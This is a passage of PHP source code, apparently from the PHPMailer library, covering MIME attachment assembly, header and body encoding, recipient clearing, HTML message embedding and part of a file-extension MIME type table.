9880 if ($contentType == '') {
9881 $contentType = $this->ContentType;
9882 }
9883 if ($encoding == '') {
9884 $encoding = $this->Encoding;
9885 }
9886 $result .= $this->textLine('--' . $boundary);
9887 $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
9888 $result .= $this->LE;
9889 // RFC1341 part 5 says 7bit is assumed if not specified
9890 if ($encoding != '7bit') {
9891 $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
9892 }
9893 $result .= $this->LE;
9894
9895 return $result;
9896 }
9897
9898 /**
9899 * Return the end of a message boundary.
9900 * @access protected
9901 * @param string $boundary
9902 * @return string
9903 */
9904 protected function endBoundary($boundary)
9905 {
9906 return $this->LE . '--' . $boundary . '--' . $this->LE;
9907 }
9908
9909 /**
9910 * Set the message type.
9911 * PHPMailer only supports some preset message types,
9912 * not arbitrary MIME structures.
9913 * @access protected
9914 * @return void
9915 */
9916 protected function setMessageType()
9917 {
9918 $type = array();
9919 if ($this->alternativeExists()) {
9920 $type[] = 'alt';
9921 }
9922 if ($this->inlineImageExists()) {
9923 $type[] = 'inline';
9924 }
9925 if ($this->attachmentExists()) {
9926 $type[] = 'attach';
9927 }
9928 $this->message_type = implode('_', $type);
9929 if ($this->message_type == '') {
9930 $this->message_type = 'plain';
9931 }
9932 }
9933
9934 /**
9935 * Format a header line.
9936 * @access public
9937 * @param string $name
9938 * @param string $value
9939 * @return string
9940 */
9941 public function headerLine($name, $value)
9942 {
9943 return $name . ': ' . $value . $this->LE;
9944 }
9945
9946 /**
9947 * Return a formatted mail line.
9948 * @access public
9949 * @param string $value
9950 * @return string
9951 */
9952 public function textLine($value)
9953 {
9954 return $value . $this->LE;
9955 }
9956
9957 /**
9958 * Add an attachment from a path on the filesystem.
9959 * Returns false if the file could not be found or read.
9960 * @param string $path Path to the attachment.
9961 * @param string $name Overrides the attachment name.
9962 * @param string $encoding File encoding (see $Encoding).
9963 * @param string $type File extension (MIME) type.
9964 * @param string $disposition Disposition to use
9965 * @throws phpmailerException
9966 * @return boolean
9967 */
9968 public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
9969 {
9970 try {
9971 if (!@is_file($path)) {
9972 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
9973 }
9974
9975 // If a MIME type is not specified, try to work it out from the file name
9976 if ($type == '') {
9977 $type = self::filenameToType($path);
9978 }
9979
9980 $filename = basename($path);
9981 if ($name == '') {
9982 $name = $filename;
9983 }
9984
9985 $this->attachment[] = array(
9986 0 => $path,
9987 1 => $filename,
9988 2 => $name,
9989 3 => $encoding,
9990 4 => $type,
9991 5 => false, // isStringAttachment
9992 6 => $disposition,
9993 7 => 0
9994 );
9995
9996 } catch (phpmailerException $exc) {
9997 $this->setError($exc->getMessage());
9998 $this->edebug($exc->getMessage());
9999 if ($this->exceptions) {
10000 throw $exc;
10001 }
10002 return false;
10003 }
10004 return true;
10005 }
10006
10007 /**
10008 * Return the array of attachments.
10009 * @return array
10010 */
10011 public function getAttachments()
10012 {
10013 return $this->attachment;
10014 }
10015
10016 /**
10017 * Attach all file, string, and binary attachments to the message.
10018 * Returns an empty string on failure.
10019 * @access protected
10020 * @param string $disposition_type
10021 * @param string $boundary
10022 * @return string
10023 */
10024 protected function attachAll($disposition_type, $boundary)
10025 {
10026 // Return text of body
10027 $mime = array();
10028 $cidUniq = array();
10029 $incl = array();
10030
10031 // Add all attachments
10032 foreach ($this->attachment as $attachment) {
10033 // Check if it is a valid disposition_filter
10034 if ($attachment[6] == $disposition_type) {
10035 // Check for string attachment
10036 $string = '';
10037 $path = '';
10038 $bString = $attachment[5];
10039 if ($bString) {
10040 $string = $attachment[0];
10041 } else {
10042 $path = $attachment[0];
10043 }
10044
10045 $inclhash = md5(serialize($attachment));
10046 if (in_array($inclhash, $incl)) {
10047 continue;
10048 }
10049 $incl[] = $inclhash;
10050 $name = $attachment[2];
10051 $encoding = $attachment[3];
10052 $type = $attachment[4];
10053 $disposition = $attachment[6];
10054 $cid = $attachment[7];
10055 if ($disposition == 'inline' && isset($cidUniq[$cid])) {
10056 continue;
10057 }
10058 $cidUniq[$cid] = true;
10059
10060 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
10061 $mime[] = sprintf(
10062 'Content-Type: %s; name="%s"%s',
10063 $type,
10064 $this->encodeHeader($this->secureHeader($name)),
10065 $this->LE
10066 );
10067 // RFC1341 part 5 says 7bit is assumed if not specified
10068 if ($encoding != '7bit') {
10069 $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
10070 }
10071
10072 if ($disposition == 'inline') {
10073 $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
10074 }
10075
10076 // If a filename contains any of these chars, it should be quoted,
10077 // but not otherwise: RFC2183 & RFC2045 5.1
10078 // Fixes a warning in IETF's msglint MIME checker
10079 // Allow for bypassing the Content-Disposition header totally
10080 if (!(empty($disposition))) {
10081 $encoded_name = $this->encodeHeader($this->secureHeader($name));
10082 if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
10083 $mime[] = sprintf(
10084 'Content-Disposition: %s; filename="%s"%s',
10085 $disposition,
10086 $encoded_name,
10087 $this->LE . $this->LE
10088 );
10089 } else {
10090 $mime[] = sprintf(
10091 'Content-Disposition: %s; filename=%s%s',
10092 $disposition,
10093 $encoded_name,
10094 $this->LE . $this->LE
10095 );
10096 }
10097 } else {
10098 $mime[] = $this->LE;
10099 }
10100
10101 // Encode as string attachment
10102 if ($bString) {
10103 $mime[] = $this->encodeString($string, $encoding);
10104 if ($this->isError()) {
10105 return '';
10106 }
10107 $mime[] = $this->LE . $this->LE;
10108 } else {
10109 $mime[] = $this->encodeFile($path, $encoding);
10110 if ($this->isError()) {
10111 return '';
10112 }
10113 $mime[] = $this->LE . $this->LE;
10114 }
10115 }
10116 }
10117
10118 $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
10119
10120 return implode('', $mime);
10121 }
10122
10123 /**
10124 * Encode a file attachment in requested format.
10125 * Returns an empty string on failure.
10126 * @param string $path The full path to the file
10127 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
10128 * @throws phpmailerException
10129 * @see EncodeFile(encodeFile
10130 * @access protected
10131 * @return string
10132 */
10133 protected function encodeFile($path, $encoding = 'base64')
10134 {
10135 try {
10136 if (!is_readable($path)) {
10137 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
10138 }
10139 $magic_quotes = get_magic_quotes_runtime();
10140 if ($magic_quotes) {
10141 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
10142 set_magic_quotes_runtime(false);
10143 } else {
10144 //Doesn't exist in PHP 5.4, but we don't need to check because
10145 //get_magic_quotes_runtime always returns false in 5.4+
10146 //so it will never get here
10147 ini_set('magic_quotes_runtime', 0);
10148 }
10149 }
10150 $file_buffer = file_get_contents($path);
10151 $file_buffer = $this->encodeString($file_buffer, $encoding);
10152 if ($magic_quotes) {
10153 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
10154 set_magic_quotes_runtime($magic_quotes);
10155 } else {
10156 ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
10157 }
10158 }
10159 return $file_buffer;
10160 } catch (Exception $exc) {
10161 $this->setError($exc->getMessage());
10162 return '';
10163 }
10164 }
10165
10166 /**
10167 * Encode a string in requested format.
10168 * Returns an empty string on failure.
10169 * @param string $str The text to encode
10170 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
10171 * @access public
10172 * @return string
10173 */
10174 public function encodeString($str, $encoding = 'base64')
10175 {
10176 $encoded = '';
10177 switch (strtolower($encoding)) {
10178 case 'base64':
10179 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
10180 break;
10181 case '7bit':
10182 case '8bit':
10183 $encoded = $this->fixEOL($str);
10184 // Make sure it ends with a line break
10185 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
10186 $encoded .= $this->LE;
10187 }
10188 break;
10189 case 'binary':
10190 $encoded = $str;
10191 break;
10192 case 'quoted-printable':
10193 $encoded = $this->encodeQP($str);
10194 break;
10195 default:
10196 $this->setError($this->lang('encoding') . $encoding);
10197 break;
10198 }
10199 return $encoded;
10200 }
10201
10202 /**
10203 * Encode a header string optimally.
10204 * Picks shortest of Q, B, quoted-printable or none.
10205 * @access public
10206 * @param string $str
10207 * @param string $position
10208 * @return string
10209 */
10210 public function encodeHeader($str, $position = 'text')
10211 {
10212 $matchcount = 0;
10213 switch (strtolower($position)) {
10214 case 'phrase':
10215 if (!preg_match('/[\200-\377]/', $str)) {
10216 // Can't use addslashes as we don't know the value of magic_quotes_sybase
10217 $encoded = addcslashes($str, "\0..\37\177\\\"");
10218 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
10219 return ($encoded);
10220 } else {
10221 return ("\"$encoded\"");
10222 }
10223 }
10224 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
10225 break;
10226 /** @noinspection PhpMissingBreakStatementInspection */
10227 case 'comment':
10228 $matchcount = preg_match_all('/[()"]/', $str, $matches);
10229 // Intentional fall-through
10230 case 'text':
10231 default:
10232 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
10233 break;
10234 }
10235
10236 if ($matchcount == 0) { // There are no chars that need encoding
10237 return ($str);
10238 }
10239
10240 $maxlen = 75 - 7 - strlen($this->CharSet);
10241 // Try to select the encoding which should produce the shortest output
10242 if ($matchcount > strlen($str) / 3) {
10243 // More than a third of the content will need encoding, so B encoding will be most efficient
10244 $encoding = 'B';
10245 if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
10246 // Use a custom function which correctly encodes and wraps long
10247 // multibyte strings without breaking lines within a character
10248 $encoded = $this->base64EncodeWrapMB($str, "\n");
10249 } else {
10250 $encoded = base64_encode($str);
10251 $maxlen -= $maxlen % 4;
10252 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
10253 }
10254 } else {
10255 $encoding = 'Q';
10256 $encoded = $this->encodeQ($str, $position);
10257 $encoded = $this->wrapText($encoded, $maxlen, true);
10258 $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
10259 }
10260
10261 $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
10262 $encoded = trim(str_replace("\n", $this->LE, $encoded));
10263
10264 return $encoded;
10265 }
10266
10267 /**
10268 * Check if a string contains multi-byte characters.
10269 * @access public
10270 * @param string $str multi-byte text to wrap encode
10271 * @return boolean
10272 */
10273 public function hasMultiBytes($str)
10274 {
10275 if (function_exists('mb_strlen')) {
10276 return (strlen($str) > mb_strlen($str, $this->CharSet));
10277 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
10278 return false;
10279 }
10280 }
10281
10282 /**
10283 * Does a string contain any 8-bit chars (in any charset)?
10284 * @param string $text
10285 * @return boolean
10286 */
10287 public function has8bitChars($text)
10288 {
10289 return (boolean)preg_match('/[\x80-\xFF]/', $text);
10290 }
10291
10292 /**
10293 * Encode and wrap long multibyte strings for mail headers
10294 * without breaking lines within a character.
10295 * Adapted from a function by paravoid
10296 * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
10297 * @access public
10298 * @param string $str multi-byte text to wrap encode
10299 * @param string $linebreak string to use as linefeed/end-of-line
10300 * @return string
10301 */
10302 public function base64EncodeWrapMB($str, $linebreak = null)
10303 {
10304 $start = '=?' . $this->CharSet . '?B?';
10305 $end = '?=';
10306 $encoded = '';
10307 if ($linebreak === null) {
10308 $linebreak = $this->LE;
10309 }
10310
10311 $mb_length = mb_strlen($str, $this->CharSet);
10312 // Each line must have length <= 75, including $start and $end
10313 $length = 75 - strlen($start) - strlen($end);
10314 // Average multi-byte ratio
10315 $ratio = $mb_length / strlen($str);
10316 // Base64 has a 4:3 ratio
10317 $avgLength = floor($length * $ratio * .75);
10318
10319 for ($i = 0; $i < $mb_length; $i += $offset) {
10320 $lookBack = 0;
10321 do {
10322 $offset = $avgLength - $lookBack;
10323 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
10324 $chunk = base64_encode($chunk);
10325 $lookBack++;
10326 } while (strlen($chunk) > $length);
10327 $encoded .= $chunk . $linebreak;
10328 }
10329
10330 // Chomp the last linefeed
10331 $encoded = substr($encoded, 0, -strlen($linebreak));
10332 return $encoded;
10333 }
10334
10335 /**
10336 * Encode a string in quoted-printable format.
10337 * According to RFC2045 section 6.7.
10338 * @access public
10339 * @param string $string The text to encode
10340 * @param integer $line_max Number of chars allowed on a line before wrapping
10341 * @return string
10342 * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
10343 */
10344 public function encodeQP($string, $line_max = 76)
10345 {
10346 if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
10347 return $this->fixEOL(quoted_printable_encode($string));
10348 }
10349 // Fall back to a pure PHP implementation
10350 $string = str_replace(
10351 array('%20', '%0D%0A.', '%0D%0A', '%'),
10352 array(' ', "\r\n=2E", "\r\n", '='),
10353 rawurlencode($string)
10354 );
10355 $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
10356 return $this->fixEOL($string);
10357 }
10358
10359 /**
10360 * Backward compatibility wrapper for an old QP encoding function that was removed.
10361 * @see PHPMailer::encodeQP()
10362 * @access public
10363 * @param string $string
10364 * @param integer $line_max
10365 * @param boolean $space_conv
10366 * @return string
10367 * @deprecated Use encodeQP instead.
10368 */
10369 public function encodeQPphp(
10370 $string,
10371 $line_max = 76,
10372 /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
10373 ) {
10374 return $this->encodeQP($string, $line_max);
10375 }
10376
10377 /**
10378 * Encode a string using Q encoding.
10379 * @link http://tools.ietf.org/html/rfc2047
10380 * @param string $str the text to encode
10381 * @param string $position Where the text is going to be used, see the RFC for what that means
10382 * @access public
10383 * @return string
10384 */
10385 public function encodeQ($str, $position = 'text')
10386 {
10387 // There should not be any EOL in the string
10388 $pattern = '';
10389 $encoded = str_replace(array("\r", "\n"), '', $str);
10390 switch (strtolower($position)) {
10391 case 'phrase':
10392 // RFC 2047 section 5.3
10393 $pattern = '^A-Za-z0-9!*+\/ -';
10394 break;
10395 /** @noinspection PhpMissingBreakStatementInspection */
10396 case 'comment':
10397 // RFC 2047 section 5.2
10398 $pattern = '\(\)"';
10399 // intentional fall-through
10400 // for this reason we build the $pattern without including delimiters and []
10401 case 'text':
10402 default:
10403 // RFC 2047 section 5.1
10404 // Replace every high ascii, control, =, ? and _ characters
10405 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
10406 break;
10407 }
10408 $matches = array();
10409 if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
10410 // If the string contains an '=', make sure it's the first thing we replace
10411 // so as to avoid double-encoding
10412 $eqkey = array_search('=', $matches[0]);
10413 if (false !== $eqkey) {
10414 unset($matches[0][$eqkey]);
10415 array_unshift($matches[0], '=');
10416 }
10417 foreach (array_unique($matches[0]) as $char) {
10418 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
10419 }
10420 }
10421 // Replace every spaces to _ (more readable than =20)
10422 return str_replace(' ', '_', $encoded);
10423 }
10424
10425
10426 /**
10427 * Add a string or binary attachment (non-filesystem).
10428 * This method can be used to attach ascii or binary data,
10429 * such as a BLOB record from a database.
10430 * @param string $string String attachment data.
10431 * @param string $filename Name of the attachment.
10432 * @param string $encoding File encoding (see $Encoding).
10433 * @param string $type File extension (MIME) type.
10434 * @param string $disposition Disposition to use
10435 * @return void
10436 */
10437 public function addStringAttachment(
10438 $string,
10439 $filename,
10440 $encoding = 'base64',
10441 $type = '',
10442 $disposition = 'attachment'
10443 ) {
10444 // If a MIME type is not specified, try to work it out from the file name
10445 if ($type == '') {
10446 $type = self::filenameToType($filename);
10447 }
10448 // Append to $attachment array
10449 $this->attachment[] = array(
10450 0 => $string,
10451 1 => $filename,
10452 2 => basename($filename),
10453 3 => $encoding,
10454 4 => $type,
10455 5 => true, // isStringAttachment
10456 6 => $disposition,
10457 7 => 0
10458 );
10459 }
10460
10461 /**
10462 * Add an embedded (inline) attachment from a file.
10463 * This can include images, sounds, and just about any other document type.
10464 * These differ from 'regular' attachments in that they are intended to be
10465 * displayed inline with the message, not just attached for download.
10466 * This is used in HTML messages that embed the images
10467 * the HTML refers to using the $cid value.
10468 * @param string $path Path to the attachment.
10469 * @param string $cid Content ID of the attachment; Use this to reference
10470 * the content when using an embedded image in HTML.
10471 * @param string $name Overrides the attachment name.
10472 * @param string $encoding File encoding (see $Encoding).
10473 * @param string $type File MIME type.
10474 * @param string $disposition Disposition to use
10475 * @return boolean True on successfully adding an attachment
10476 */
10477 public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
10478 {
10479 if (!@is_file($path)) {
10480 $this->setError($this->lang('file_access') . $path);
10481 return false;
10482 }
10483
10484 // If a MIME type is not specified, try to work it out from the file name
10485 if ($type == '') {
10486 $type = self::filenameToType($path);
10487 }
10488
10489 $filename = basename($path);
10490 if ($name == '') {
10491 $name = $filename;
10492 }
10493
10494 // Append to $attachment array
10495 $this->attachment[] = array(
10496 0 => $path,
10497 1 => $filename,
10498 2 => $name,
10499 3 => $encoding,
10500 4 => $type,
10501 5 => false, // isStringAttachment
10502 6 => $disposition,
10503 7 => $cid
10504 );
10505 return true;
10506 }
10507
10508 /**
10509 * Add an embedded stringified attachment.
10510 * This can include images, sounds, and just about any other document type.
10511 * Be sure to set the $type to an image type for images:
10512 * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
10513 * @param string $string The attachment binary data.
10514 * @param string $cid Content ID of the attachment; Use this to reference
10515 * the content when using an embedded image in HTML.
10516 * @param string $name
10517 * @param string $encoding File encoding (see $Encoding).
10518 * @param string $type MIME type.
10519 * @param string $disposition Disposition to use
10520 * @return boolean True on successfully adding an attachment
10521 */
10522 public function addStringEmbeddedImage(
10523 $string,
10524 $cid,
10525 $name = '',
10526 $encoding = 'base64',
10527 $type = '',
10528 $disposition = 'inline'
10529 ) {
10530 // If a MIME type is not specified, try to work it out from the name
10531 if ($type == '') {
10532 $type = self::filenameToType($name);
10533 }
10534
10535 // Append to $attachment array
10536 $this->attachment[] = array(
10537 0 => $string,
10538 1 => $name,
10539 2 => $name,
10540 3 => $encoding,
10541 4 => $type,
10542 5 => true, // isStringAttachment
10543 6 => $disposition,
10544 7 => $cid
10545 );
10546 return true;
10547 }
10548
10549 /**
10550 * Check if an inline attachment is present.
10551 * @access public
10552 * @return boolean
10553 */
10554 public function inlineImageExists()
10555 {
10556 foreach ($this->attachment as $attachment) {
10557 if ($attachment[6] == 'inline') {
10558 return true;
10559 }
10560 }
10561 return false;
10562 }
10563
10564 /**
10565 * Check if an attachment (non-inline) is present.
10566 * @return boolean
10567 */
10568 public function attachmentExists()
10569 {
10570 foreach ($this->attachment as $attachment) {
10571 if ($attachment[6] == 'attachment') {
10572 return true;
10573 }
10574 }
10575 return false;
10576 }
10577
10578 /**
10579 * Check if this message has an alternative body set.
10580 * @return boolean
10581 */
10582 public function alternativeExists()
10583 {
10584 return !empty($this->AltBody);
10585 }
10586
10587 /**
10588 * Clear all To recipients.
10589 * @return void
10590 */
10591 public function clearAddresses()
10592 {
10593 foreach ($this->to as $to) {
10594 unset($this->all_recipients[strtolower($to[0])]);
10595 }
10596 $this->to = array();
10597 }
10598
10599 /**
10600 * Clear all CC recipients.
10601 * @return void
10602 */
10603 public function clearCCs()
10604 {
10605 foreach ($this->cc as $cc) {
10606 unset($this->all_recipients[strtolower($cc[0])]);
10607 }
10608 $this->cc = array();
10609 }
10610
10611 /**
10612 * Clear all BCC recipients.
10613 * @return void
10614 */
10615 public function clearBCCs()
10616 {
10617 foreach ($this->bcc as $bcc) {
10618 unset($this->all_recipients[strtolower($bcc[0])]);
10619 }
10620 $this->bcc = array();
10621 }
10622
10623 /**
10624 * Clear all ReplyTo recipients.
10625 * @return void
10626 */
10627 public function clearReplyTos()
10628 {
10629 $this->ReplyTo = array();
10630 }
10631
10632 /**
10633 * Clear all recipient types.
10634 * @return void
10635 */
10636 public function clearAllRecipients()
10637 {
10638 $this->to = array();
10639 $this->cc = array();
10640 $this->bcc = array();
10641 $this->all_recipients = array();
10642 }
10643
10644 /**
10645 * Clear all filesystem, string, and binary attachments.
10646 * @return void
10647 */
10648 public function clearAttachments()
10649 {
10650 $this->attachment = array();
10651 }
10652
10653 /**
10654 * Clear all custom headers.
10655 * @return void
10656 */
10657 public function clearCustomHeaders()
10658 {
10659 $this->CustomHeader = array();
10660 }
10661
10662 /**
10663 * Add an error message to the error container.
10664 * @access protected
10665 * @param string $msg
10666 * @return void
10667 */
10668 protected function setError($msg)
10669 {
10670 $this->error_count++;
10671 if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
10672 $lasterror = $this->smtp->getError();
10673 if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
10674 $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
10675 }
10676 }
10677 $this->ErrorInfo = $msg;
10678 }
10679
10680 /**
10681 * Return an RFC 822 formatted date.
10682 * @access public
10683 * @return string
10684 * @static
10685 */
10686 public static function rfcDate()
10687 {
10688 // Set the time zone to whatever the default is to avoid 500 errors
10689 // Will default to UTC if it's not set properly in php.ini
10690 date_default_timezone_set(@date_default_timezone_get());
10691 return date('D, j M Y H:i:s O');
10692 }
10693
10694 /**
10695 * Get the server hostname.
10696 * Returns 'localhost.localdomain' if unknown.
10697 * @access protected
10698 * @return string
10699 */
10700 protected function serverHostname()
10701 {
10702 $result = 'localhost.localdomain';
10703 if (!empty($this->Hostname)) {
10704 $result = $this->Hostname;
10705 } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
10706 $result = $_SERVER['SERVER_NAME'];
10707 } elseif (function_exists('gethostname') && gethostname() !== false) {
10708 $result = gethostname();
10709 } elseif (php_uname('n') !== false) {
10710 $result = php_uname('n');
10711 }
10712 return $result;
10713 }
10714
10715 /**
10716 * Get an error message in the current language.
10717 * @access protected
10718 * @param string $key
10719 * @return string
10720 */
10721 protected function lang($key)
10722 {
10723 if (count($this->language) < 1) {
10724 $this->setLanguage('en'); // set the default language
10725 }
10726
10727 if (isset($this->language[$key])) {
10728 return $this->language[$key];
10729 } else {
10730 return 'Language string failed to load: ' . $key;
10731 }
10732 }
10733
10734 /**
10735 * Check if an error occurred.
10736 * @access public
10737 * @return boolean True if an error did occur.
10738 */
10739 public function isError()
10740 {
10741 return ($this->error_count > 0);
10742 }
10743
10744 /**
10745 * Ensure consistent line endings in a string.
10746 * Changes every end of line from CRLF, CR or LF to $this->LE.
10747 * @access public
10748 * @param string $str String to fixEOL
10749 * @return string
10750 */
10751 public function fixEOL($str)
10752 {
10753 // Normalise to \n
10754 $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
10755 // Now convert LE as needed
10756 if ($this->LE !== "\n") {
10757 $nstr = str_replace("\n", $this->LE, $nstr);
10758 }
10759 return $nstr;
10760 }
10761
10762 /**
10763 * Add a custom header.
10764 * $name value can be overloaded to contain
10765 * both header name and value (name:value)
10766 * @access public
10767 * @param string $name Custom header name
10768 * @param string $value Header value
10769 * @return void
10770 */
10771 public function addCustomHeader($name, $value = null)
10772 {
10773 if ($value === null) {
10774 // Value passed in as name:value
10775 $this->CustomHeader[] = explode(':', $name, 2);
10776 } else {
10777 $this->CustomHeader[] = array($name, $value);
10778 }
10779 }
10780
10781 /**
10782 * Create a message from an HTML string.
10783 * Automatically makes modifications for inline images and backgrounds
10784 * and creates a plain-text version by converting the HTML.
10785 * Overwrites any existing values in $this->Body and $this->AltBody
10786 * @access public
10787 * @param string $message HTML message string
10788 * @param string $basedir baseline directory for path
10789 * @param boolean|callable $advanced Whether to use the internal HTML to text converter
10790 * or your own custom converter @see html2text()
10791 * @return string $message
10792 */
10793 public function msgHTML($message, $basedir = '', $advanced = false)
10794 {
10795 preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
10796 if (isset($images[2])) {
10797 foreach ($images[2] as $imgindex => $url) {
10798 // Convert data URIs into embedded images
10799 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
10800 $data = substr($url, strpos($url, ','));
10801 if ($match[2]) {
10802 $data = base64_decode($data);
10803 } else {
10804 $data = rawurldecode($data);
10805 }
10806 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
10807 if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
10808 $message = str_replace(
10809 $images[0][$imgindex],
10810 $images[1][$imgindex] . '="cid:' . $cid . '"',
10811 $message
10812 );
10813 }
10814 } elseif (!preg_match('#^[A-z]+://#', $url)) {
10815 // Do not change urls for absolute images (thanks to corvuscorax)
10816 $filename = basename($url);
10817 $directory = dirname($url);
10818 if ($directory == '.') {
10819 $directory = '';
10820 }
10821 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
10822 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
10823 $basedir .= '/';
10824 }
10825 if (strlen($directory) > 1 && substr($directory, -1) != '/') {
10826 $directory .= '/';
10827 }
10828 if ($this->addEmbeddedImage(
10829 $basedir . $directory . $filename,
10830 $cid,
10831 $filename,
10832 'base64',
10833 self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
10834 )
10835 ) {
10836 $message = preg_replace(
10837 '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
10838 $images[1][$imgindex] . '="cid:' . $cid . '"',
10839 $message
10840 );
10841 }
10842 }
10843 }
10844 }
10845 $this->isHTML(true);
10846 // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
10847 $this->Body = $this->normalizeBreaks($message);
10848 $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
10849 if (empty($this->AltBody)) {
10850 $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
10851 self::CRLF . self::CRLF;
10852 }
10853 return $this->Body;
10854 }
10855
10856 /**
10857 * Convert an HTML string into plain text.
10858 * This is used by msgHTML().
10859 * Note - older versions of this function used a bundled advanced converter
10860 * which was been removed for license reasons in #232
10861 * Example usage:
10862 * <code>
10863 * // Use default conversion
10864 * $plain = $mail->html2text($html);
10865 * // Use your own custom converter
10866 * $plain = $mail->html2text($html, function($html) {
10867 * $converter = new MyHtml2text($html);
10868 * return $converter->get_text();
10869 * });
10870 * </code>
10871 * @param string $html The HTML text to convert
10872 * @param boolean|callable $advanced Any boolean value to use the internal converter,
10873 * or provide your own callable for custom conversion.
10874 * @return string
10875 */
10876 public function html2text($html, $advanced = false)
10877 {
10878 if (is_callable($advanced)) {
10879 return call_user_func($advanced, $html);
10880 }
10881 return html_entity_decode(
10882 trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
10883 ENT_QUOTES,
10884 $this->CharSet
10885 );
10886 }
10887
10888 /**
10889 * Get the MIME type for a file extension.
10890 * @param string $ext File extension
10891 * @access public
10892 * @return string MIME type of file.
10893 * @static
10894 */
10895 public static function _mime_types($ext = '')
10896 {
10897 $mimes = array(
10898 'xl' => 'application/excel',
10899 'js' => 'application/javascript',
10900 'hqx' => 'application/mac-binhex40',
10901 'cpt' => 'application/mac-compactpro',
10902 'bin' => 'application/macbinary',
10903 'doc' => 'application/msword',
10904 'word' => 'application/msword',
10905 'class' => 'application/octet-stream',
10906 'dll' => 'application/octet-stream',
10907 'dms' => 'application/octet-stream',
10908 'exe' => 'application/octet-stream',
10909 'lha' => 'application/octet-stream',
10910 'lzh' => 'application/octet-stream',
10911 'psd' => 'application/octet-stream',
10912 'sea' => 'application/octet-stream',
10913 'so' => 'application/octet-stream',
10914 'oda' => 'application/oda',
10915 'pdf' => 'application/pdf',
10916 'ai' => 'application/postscript',
10917 'eps' => 'application/postscript',
10918 'ps' => 'application/postscript',
10919 'smi' => 'application/smil',
10920 'smil' => 'application/smil',
10921 'mif' => 'application/vnd.mif',
10922 'xls' => 'application/vnd.ms-excel',
10923 'ppt' => 'application/vnd.ms-powerpoint',
10924 'wbxml' => 'application/vnd.wap.wbxml',
10925 'wmlc' => 'application/vnd.wap.wmlc',
10926 'dcr' => 'application/x-director',
10927 'dir' => 'application/x-director',
10928 'dxr' => 'application/x-director',
10929 'dvi' => 'application/x-dvi',
10930 'gtar' => 'application/x-gtar',
10931 'php3' => 'application/x-httpd-php',
10932 'php4' => 'application/x-httpd-php',
10933 'php' => 'application/x-httpd-php',
10934 'phtml' => 'application/x-httpd-php',
10935 'phps' => 'application/x-httpd-php-source',
10936 'swf' => 'application/x-shockwave-flash',
10937 'sit' => 'application/x-stuffit',
10938 'tar' => 'application/x-tar',
10939 'tgz' => 'application/x-tar',
10940 'xht' => 'application/xhtml+xml',
10941 'xhtml' => 'application/xhtml+xml',
10942 'zip' => 'application/zip',
10943 'mid' => 'audio/midi',
10944 'midi' => 'audio/midi',
10945 'mp2' => 'audio/mpeg',
10946 'mp3' => 'audio/mpeg',
10947 'mpga' => 'audio/mpeg',
10948 'aif' => 'audio/x-aiff',
10949 'aifc' => 'audio/x-aiff',
10950 'aiff' => 'audio/x-aiff',
10951 'ram' => 'audio/x-pn-realaudio',
10952 'rm' => 'audio/x-pn-realaudio',
10953 'rpm' => 'audio/x-pn-realaudio-plugin',
